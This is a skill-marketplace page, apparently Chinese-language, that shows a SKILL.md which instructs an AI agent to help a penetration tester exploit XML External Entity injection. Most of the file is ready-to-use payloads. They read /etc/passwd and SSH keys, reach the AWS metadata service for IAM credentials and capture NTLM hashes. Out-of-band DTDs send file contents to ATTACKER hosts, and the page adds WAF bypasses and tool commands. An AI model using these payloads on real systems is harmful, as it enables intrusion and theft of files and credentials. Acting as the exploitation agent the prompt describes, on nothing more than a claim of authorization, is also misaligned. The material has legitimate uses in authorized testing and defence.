用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/blacklanternsecurity/red-run --skill xxe命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
基于 SOC 职业分类
| name | xxe |
| description | Guide XML External Entity (XXE) injection exploitation during authorized penetration testing. |
| keywords | ["XXE","XML injection","XML external entity","DTD injection","XML entity expansion","blind XXE","OOB XXE","out-of-band XXE","error-based XXE","XInclude","SVG XXE","DOCX XXE","XLSX XXE","SOAP XXE"] |
| tools | ["burpsuite","xxeserv","oxml_xxe","interactsh"] |
| opsec | medium |
You are helping a penetration tester exploit XXE injection. The target application parses XML input without disabling external entity resolution. The goal is to read files, perform SSRF, or achieve remote code execution via entity processing. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[xxe] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided, determine:
Quick detection probe (replace entity in a reflected field):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "testvalue123">]>
<root><field>&xxe;</field></root>
If testvalue123 appears in the response, the parser resolves entities — proceed
to Step 2. If not reflected, skip to Step 4 (blind).
Skip assessment if context was already provided.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><field>&xxe;</field></root>
Swap the ENTITY URI for other targets. All variations below use this same wrapper.
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
<!-- PHP base64 (avoids XML special char issues with <, &) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- PHP expect (RCE — requires expect extension) -->
<!ENTITY xxe SYSTEM "expect://id">
<!-- Java directory listing (file:// on a directory lists contents) -->
<!ENTITY xxe SYSTEM "file:///">
<!ENTITY xxe SYSTEM "file:///etc/">
Useful targets — Linux: /etc/passwd, /etc/hostname, /proc/self/environ,
/home/<user>/.ssh/id_rsa, /var/www/html/config.php
Windows: C:\windows\win.ini, C:\inetpub\wwwroot\web.config
Use the same wrapper from Step 2 with HTTP/UNC URIs:
<!-- Internal resource access -->
<!ENTITY xxe SYSTEM "http://internal.service:8080/admin">
<!-- AWS IMDSv1 — enumerate roles, then fetch credentials -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">
<!-- NTLM hash capture (Windows — set up Responder first) -->
<!ENTITY xxe SYSTEM "file://///ATTACKER_IP/share/test.jpg">
When entity content is not reflected in the response.
General entity — triggers HTTP callback:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net">
]>
<root><field>&xxe;</field></root>
Parameter entity — works when general entities are blocked:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">
%xxe;
]>
<root></root>
If you receive a callback, the parser resolves external entities — proceed to exfiltration.
XML payload (send to target):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
%dtd;
]>
<root></root>
Host evil.dtd on your server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
%eval;
%exfil;
Data arrives as a query parameter in your HTTP logs.
Limitation: HTTP exfiltration breaks on multi-line files. Workarounds:
php://filter/convert.base64-encode/resource=/etc/passwdftp://ATTACKER:2121/%file; — FTP handles newlines
(required for Java targets)FTP server for OOB:
xxeserv -o files.log -p 2121 -w -wd public -wp 8000 # staaldraad/xxeserv
python3 230-OOB.py 2121 # lc/230-OOB
Extracts file contents embedded in parser error messages. Works when both reflection and outbound connectivity are blocked.
XML payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://ATTACKER/error.dtd">
%dtd;
]>
<root></root>
error.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
The parser error message contains the file contents: "file:///nonexistent/root:x:0:0:...".
When egress is completely blocked, repurpose a DTD already on the filesystem. Find a parameter entity you can redefine to inject your payload.
Linux — fonts.dtd:
<!DOCTYPE foo [
<!ENTITY % local SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % constant 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///x/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local;
]>
<root></root>
Windows — cim20.dtd:
<!DOCTYPE foo [
<!ENTITY % local SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file:///C:\windows\win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///x/%file;'>">
%eval;
%error;
<!ENTITY test "test"'>
%local;
]>
<root></root>
Other injectable DTDs (same pattern — redefine the entity with your payload):
| Path | Entity | Platform |
|---|---|---|
/usr/share/yelp/dtd/docbookx.dtd | %ISOamso | GNOME |
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd | varies | Linux |
Use dtd-finder to scan system images for injectable DTDs:
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/system-image.tar
When you cannot control the DOCTYPE declaration — your input is placed inside
an XML document the server constructs. Use XInclude instead of entity injection:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
URL-encoded (inject into a POST parameter):
field=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
XInclude requires the parser to support it (most Java and .NET parsers do).
Upload as an image/avatar. Content is read when the server rasterizes the SVG:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
OOB variant (blind — file content sent to attacker):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
%dtd;
%eval;
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="16">&exfil;</text>
</svg>
These are ZIP archives containing XML. Extract, inject XXE into an internal XML file, repackage:
unzip target.xlsx -d xxe_work && cd xxe_work
# Add DOCTYPE + entity to xl/workbook.xml (or xl/sharedStrings.xml, word/document.xml, [Content_Types].xml)
zip -u ../malicious.xlsx xl/workbook.xml
Add a DOCTYPE before the root element in the target XML file — use the same
external DTD pattern from Step 4. Tool: oxml_xxe automates this for
Office/SVG/PDF.
Inject into XML-based formats — add DOCTYPE before or wrap in CDATA:
<!-- SOAP: CDATA wrapping -->
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd;]><root/>]]></foo></soap:Body>
<!-- RSS: standard XXE in feed -->
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<rss version="2.0"><channel><title>&xxe;</title></channel></rss>
UTF-16 — bypasses ASCII-level WAF pattern matching (parsers auto-detect via BOM):
cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload_utf16.xml
UTF-7 — set encoding="UTF-7" in XML declaration, encode payload in UTF-7
(+ADw- = <, +AD4- = >).
HTML numeric entities — bypass % restrictions inside DTD entity values by
encoding as %, < for <, " for ", etc.
Some endpoints accept both JSON and XML. Switch Content-Type: application/json
to application/xml (or text/xml, application/soap+xml) and convert the
JSON body to XML with an XXE DOCTYPE. Burp extension Content Type Converter
(NetSPI) automates this.
If SYSTEM or ENTITY are blocked:
PUBLIC instead of SYSTEM:
<!ENTITY xxe PUBLIC "any text" "file:///etc/passwd">%name;) instead of general entities (&name;)file:// reads are local (no network traffic).<!ENTITY test "hello"> → &test;)%name;) — some parsers block general entities but
allow parameter entitiesPUBLIC keyword if SYSTEM is filteredLIBXML_NOENT disabled (PHP) or
disallow-doctype-decl enabled (Java) — entity resolution is off<, &) that break parsing — use
php://filter/convert.base64-encode/resource= (PHP) or CDATA wrapping/etc/hostname first
(small, always readable)file:///etc/passwd fails silently for files with certain characters —
use FTP exfiltration insteadfile:// may require file:///C:\path format on Windows% inside entity value in internal DTD must be escaped as %% in external DTD files does NOT need escaping — use %name; directly%eval; must be called before %error;LIBXML_NOENT is setresolve_entities=TrueDtdProcessing.Parse is setruby XXEinjector.rb --host=ATTACKER --httpport=8080 --file=request.txt --path=/etc/passwd --oob=http
xxeserv -o files.log -p 2121 -w -wd public -wp 8000
python oxml_xxe.py -m payload.xml -o malicious.docx